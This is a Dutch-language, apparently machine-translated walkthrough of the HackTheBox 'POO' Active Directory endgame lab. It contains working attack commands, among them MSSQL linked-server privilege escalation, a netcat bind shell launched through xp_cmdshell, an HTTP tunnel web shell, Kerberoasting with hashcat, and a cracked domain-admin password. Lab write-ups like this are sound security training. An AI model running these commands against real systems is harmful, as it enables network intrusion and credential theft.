HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

In dit artikel analyseren we de passage van niet alleen een machine, maar een heel minilaboratorium van de site HackTheBox.

Zoals vermeld in de beschrijving, is POO ontworpen om vaardigheden te testen in alle stadia van aanvallen in een kleine Active Directory-omgeving. Het doel is om een ​​beschikbare host in gevaar te brengen, privileges te escaleren en uiteindelijk het hele domein in gevaar te brengen door daarbij 5 vlaggen te verzamelen.

De verbinding met het laboratorium is via VPN. Het wordt aanbevolen om geen verbinding te maken vanaf een werkende computer of vanaf een host waar belangrijke gegevens voor u zijn, aangezien u in een privénetwerk terechtkomt met mensen die iets weten over informatiebeveiliging 🙂

organisatorische informatie
Zodat u meer te weten kunt komen over nieuwe artikelen, software en andere informatie, heb ik gemaakt kanaal in Telegram и groep om eventuele problemen te bespreken in de omgeving van IIKB. Ook uw persoonlijke verzoeken, vragen, suggesties en aanbevelingen Ik zal eens kijken en op iedereen reageren..

Alle informatie wordt alleen verstrekt voor educatieve doeleinden. De auteur van dit document aanvaardt geen verantwoordelijkheid voor enige schade die aan wie dan ook wordt toegebracht als gevolg van het gebruik van de kennis en methoden die zijn verkregen door het bestuderen van dit document.

Intro

Dit eindspel bestaat uit twee machines en bevat 5 vlaggen.

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

De beschrijving en het adres van de beschikbare host wordt ook gegeven.

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

Laten we beginnen!

Recon-vlag

Deze machine heeft een IP-adres van 10.13.38.11 dat ik toevoeg aan /etc/hosts.
10.13.38.11 poo.htb

De eerste stap is het scannen van open poorten. Aangezien het lang duurt om alle poorten met nmap te scannen, zal ik het eerst met masscan doen. We scannen alle TCP- en UDP-poorten van de tun0-interface op 500pps.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

Laten we nu, om meer gedetailleerde informatie te krijgen over de services die op de poorten draaien, een scan uitvoeren met de optie -A.

nmap -A poo.htb -p80,1433

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

Zo hebben we IIS- en MSSQL-services. In dit geval zullen we de echte DNS-naam van het domein en de computer achterhalen. Op de webserver worden we begroet door de IIS-startpagina.

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

Laten we de mappen herhalen. Ik gebruik hiervoor gobuster. In de parameters specificeren we het aantal streams 128 (-t), URL (-u), woordenboek (-w) en extensies die ons interesseren (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

We hebben dus HTTP-authenticatie voor de /admin-directory, evenals het opslagbestand voor de .DS_Store-desktopservice beschikbaar. .DS_Store zijn bestanden die gebruikersinstellingen voor een map opslaan, zoals een lijst met bestanden, pictogramlocatie, geselecteerde achtergrondafbeelding. Zo'n bestand kan in de webserverdirectory van webontwikkelaars terechtkomen. Zo krijgen we informatie over de inhoud van de directory. Hiervoor kun je gebruiken DS_Store-crawler.

python3 dsstore_crawler.py -i http://poo.htb/

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

We krijgen de inhoud van de directory. Het meest interessante hier is de /dev directory, van waaruit we de bronnen en db-bestanden in twee takken kunnen zien. Maar we kunnen de eerste 6 tekens van bestands- en mapnamen gebruiken als de service kwetsbaar is voor IIS ShortName. U kunt op deze kwetsbaarheid controleren met behulp van IIS korte naam Scanner.

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

En we vinden een tekstbestand dat begint met "poo_co". Omdat ik niet wist wat ik nu moest doen, selecteerde ik gewoon uit het woordenboek van mappen alle woorden die beginnen met "co".

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

En herhalen met wfuzz.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

En zoek het juiste woord! We bekijken dit bestand, slaan de inloggegevens op (te oordelen naar de DBNAME-parameter, ze zijn van MSSQL).

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

We overhandigen de vlag en gaan 20% vooruit.

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

Euh vlag

We maken verbinding met MSSQL, ik gebruik DBeaver.

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

We vinden niets interessants in deze database, laten we een SQL-editor maken en controleren wat gebruikers zijn.

SELECT name FROM master..syslogins;

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

We hebben twee gebruikers. Laten we onze privileges controleren.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

Er zijn dus geen privileges. Laten we de gekoppelde servers bekijken, ik heb in detail over deze techniek geschreven hier.

SELECT * FROM master..sysservers;

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

Dus we vinden een andere SQL Server. Laten we de uitvoering van commando's op deze server controleren met behulp van openquery().

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

En we kunnen zelfs een zoekboom bouwen.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

Het feit is dat wanneer we een verzoek doen aan een gekoppelde server, het verzoek wordt uitgevoerd in de context van een andere gebruiker! Laten we eens kijken welke gebruikerscontext we uitvoeren op de gekoppelde server.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

En laten we nu kijken in welke context het verzoek van de gekoppelde server aan de onze wordt uitgevoerd!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

Het is dus een DBO-context die alle rechten moet hebben. Laten we de rechten controleren in het geval van een verzoek van een gekoppelde server.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

Zoals je kunt zien, hebben we alle privileges! Laten we onze admin zo maken. Maar ze laten ze niet door openquery, laten we het doen via EXECUTE AT.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

En nu maken we verbinding met de inloggegevens van de nieuwe gebruiker, observeren we de nieuwe vlaggendatabase.

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

We overhandigen deze vlag en gaan verder.

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

Backtrack-vlag

Laten we de shell ophalen met behulp van MSSQL, ik gebruik mssqlclient van het impacket-pakket.

mssqlclient.py ralf:[email protected] -db POO_PUBLIC

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

We moeten wachtwoorden krijgen en het eerste dat we al hebben ontmoet, is de site. We hebben dus een webserverconfiguratie nodig (het is onmogelijk om een ​​handige shell te gooien, blijkbaar werkt de firewall).

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

Maar de toegang wordt geweigerd. Hoewel we het bestand van MSSQL kunnen lezen, hoeven we alleen maar te weten welke programmeertalen zijn geconfigureerd. En in de MSSQL-directory ontdekken we dat er Python is.

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

Dan is er geen probleem om het bestand web.config te lezen.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

Ga met de gevonden inloggegevens naar /admin en pak de vlag op.

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

steunpunt vlag

In feite zijn er enkele ongemakken bij het gebruik van een firewall, maar als we door de netwerkinstellingen kijken, zien we dat het IPv6-protocol ook wordt gebruikt!

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

Voeg dit adres toe aan /etc/hosts.
dead:babe::1001 poo6.htb
Laten we de host opnieuw scannen, maar deze keer via IPv6.

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

En de WinRM-service is beschikbaar via IPv6. Laten we verbinding maken met de gevonden inloggegevens.

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

Er staat een vlag op het bureaublad, overhandig deze.

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

P00ned vlag

Na verkenning op de gastheer met erwten we vinden niets bijzonders. Toen werd besloten om opnieuw naar referenties te zoeken (ik schreef ook over dit onderwerp статью). Maar ik kon niet alle SPN's uit het systeem halen via WinRM.

setspn.exe -T intranet.poo -Q */*

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

Laten we de opdracht uitvoeren via MSSQL.

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

Op deze manier krijgen we de SPN van gebruikers p00_hr en p00_adm, wat betekent dat ze kwetsbaar zijn voor een aanval zoals Kerberoasting. Kortom, we kunnen de hashes van hun wachtwoorden achterhalen.

Eerst moet u namens de MSSQL-gebruiker een stabiele shell krijgen. Maar aangezien we beperkte toegang hebben, hebben we alleen een verbinding met de host via poorten 80 en 1433. Maar het is mogelijk om verkeer via poort 80 te tunnelen! Hiervoor zullen we gebruiken volgende toepassing. Laten we het bestand tunnel.aspx uploaden naar de homedirectory van de webserver - C: inetpubwwwroot.

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

Maar wanneer we toegang proberen te krijgen, krijgen we een fout 404. Dit betekent dat *.aspx-bestanden niet worden uitgevoerd. Installeer ASP.NET 4.5 als volgt om bestanden met deze extensies te laten werken.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

En nu, bij het openen van tunnel.aspx, krijgen we het antwoord dat alles klaar is voor gebruik.

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

Laten we het clientgedeelte van de applicatie starten, dat het verkeer zal doorsturen. We zullen al het verkeer van poort 5432 doorsturen naar de server.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

En we gebruiken proxychains om het verkeer van elke applicatie via onze proxy te sturen. Laten we deze proxy toevoegen aan het configuratiebestand /etc/proxychains.conf.

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

Laten we nu het programma uploaden naar de server netcat, waarmee we een stabiele bind-shell gaan maken, en het script Roep Kerberoast op, waarmee we de Kerberoasting-aanval zullen uitvoeren.

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

Nu lanceren we via MSSQL de luisteraar.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

En we maken verbinding via onze proxy.

proxychains rlwrap nc poo.htb 4321

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

En laten we de hashes pakken.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

Vervolgens moet u deze hashes herhalen. Omdat rockyou geen wachtwoordwoordenboek had, heb ik ALLE wachtwoordenwoordenboeken gebruikt die in Seclists worden aangeboden. Voor opsomming gebruiken we hashcat.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

En we vinden beide wachtwoorden, de eerste in het dutch_passwordlist.txt woordenboek, en de tweede in Keyboard-Combinations.txt.

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

En dus hebben we drie gebruikers, we gaan naar de domeincontroller. Laten we eerst zijn adres achterhalen.

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

Geweldig, we hebben het IP-adres van de domeincontroller geleerd. Laten we eens kijken naar alle gebruikers van het domein, en wie van hen een beheerder is. Om het script te downloaden om informatie PowerView.ps1 te krijgen. Vervolgens maken we verbinding met behulp van evil-winrm, waarbij we de map specificeren met het script in de parameter -s. En laad dan gewoon het PowerView-script.

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

Nu hebben we toegang tot al zijn functies. De p00_adm-gebruiker ziet eruit als een geprivilegieerde gebruiker, dus we zullen in zijn context werken. Laten we een PSCredential-object voor deze gebruiker maken.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Nu worden alle Powershell-commando's waarbij we Creds specificeren uitgevoerd namens p00_adm. Laten we een lijst met gebruikers en het kenmerk AdminCount weergeven.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

En dus is onze gebruiker echt bevoorrecht. Laten we eens kijken tot welke groepen hij behoort.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

We bevestigen eindelijk dat de gebruiker een domeinbeheerder is. Dit geeft het het recht om op afstand in te loggen op de domeincontroller. Laten we proberen in te loggen met WinRM met behulp van onze tunnel. Ik was in de war door de fouten van reGeorg bij het gebruik van evil-winrm.

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

Dan gebruiken we een andere, gemakkelijkere, script om verbinding te maken met WinRM. Verbindingsparameters openen en wijzigen.

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

We proberen verbinding te maken en we zitten in het systeem.

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

Maar er is geen vlag. Kijk dan naar de gebruiker en controleer de desktops.

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

Bij mr3ks vinden we de vlag en is het laboratorium 100% af.

HackTheBoxendgame. Passage van het laboratorium Professional Offensive Operations. Pentest Active Directory

Dat is alles. Geef als feedback aan of je iets nieuws uit dit artikel hebt geleerd en of het nuttig voor je was.

U kunt bij ons terecht op Telegram. Daar vindt u interessante materialen, samengevoegde cursussen en software. Laten we een community vormen waarin mensen zijn die veel IT-gebieden begrijpen, dan kunnen we elkaar altijd helpen bij eventuele IT- en informatiebeveiligingsproblemen.

Bron: www.habr.com

Voeg een reactie